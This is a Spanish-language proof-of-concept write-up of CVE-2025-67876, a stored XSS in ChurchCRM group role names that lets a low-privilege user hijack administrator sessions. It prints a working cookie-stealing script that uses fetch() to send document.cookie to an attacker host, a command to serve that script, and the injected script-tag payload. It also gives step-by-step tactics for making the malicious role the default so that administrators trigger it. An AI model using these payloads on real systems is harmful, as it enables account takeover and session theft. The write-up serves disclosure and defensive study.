
Prueba de concepto detallada de CVE-2025-67876 que demuestra XSS almacenado en los nombres de roles de grupo de ChurchCRM que conduce al secuestro de sesión de administrador, con un recorrido completo de explotación y recomendaciones de remediación.
| Campo | Detalles |
|---|
| ID CVE | CVE-2025-67876 |
| Gravedad | CRÍTICA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Existe una vulnerabilidad de cross-site scripting (XSS) almacenado en ChurchCRM que permite a un usuario con privilegios bajos y con el permiso “Manage Groups” inyectar JavaScript persistente en los nombres de los roles de grupo. La carga útil se guarda en la base de datos y se ejecuta cada vez que cualquier usuario (incluidos los administradores) ve una página que muestra ese rol, como GroupView.php o PersonView.php. Esto permite el secuestro completo de la sesión y la toma de control de la cuenta.
La causa raíz es la falta de validación de entrada y de codificación de salida en el manejo de los nombres de los roles de grupo.
Al editar un grupo en GroupEditor.php, el usuario puede modificar los nombres de los roles. La aplicación no saneja la entrada (p. ej., no utiliza strip_tags, htmlspecialchars ni validación del lado del servidor). El valor se almacena en la tabla list_lst de la base de datos.
Más adelante, el valor almacenado se inyecta directamente en el HTML sin escapar:
Por lo tanto, un usuario con privilegios bajos (con permiso Manage Groups) puede escalar privilegios hasta convertirse en administrador completo al inyectar JavaScript en un rol y asignar ese rol a un administrador.
Crea x.js en la máquina controlada por el atacante:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Sirve el archivo:
python3 -m http.server 800
Inicia sesión como un usuario con permiso Manage Groups.
Navega a: Groups → List Groups → selecciona cualquier grupo → Settings.
En la sección “Group Roles”, edita un rol existente o crea uno nuevo.
Inserta la carga útil maliciosa:
"><script src=//172.20.0.1:800/x.js></script>

En la lista de roles de grupo, haz clic en Default junto al rol que contiene tu carga útil XSS inyectada.
Esto garantiza que el rol malicioso se asigne automáticamente a cualquier usuario que se agregue al grupo, lo que aumenta la probabilidad de que un administrador active el XSS al ver su perfil.
Haz clic en Delete junto al rol predeterminado anterior, normalmente "Member".
Eliminar el rol predeterminado limpio obliga al sistema a utilizar el rol inyectado con XSS para todas las asignaciones futuras, lo que garantiza la ejecución cuando la víctima ve cualquier página que muestre su rol asignado.

Ve a la página Group View.
Agrega cualquier usuario como miembro del grupo (por ejemplo, Church Admin).
Selecciona el rol malicioso en el menú desplegable.
Guarda la asignación.
Cuando la víctima (administrador) visita:
Su perfil de usuario: PersonView.php
La página de vista de grupo: GroupView.php
El JavaScript almacenado se ejecuta inmediatamente.
En el servidor del atacante, aparecerán las solicitudes entrantes:


Esto confirma la toma de control exitosa de la cuenta.
CWE-79: Neutralización incorrecta de la entrada durante la generación de páginas web (‘Cross-site Scripting’)
Esta CVE se divulgó de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada es únicamente con fines educativos y defensivos.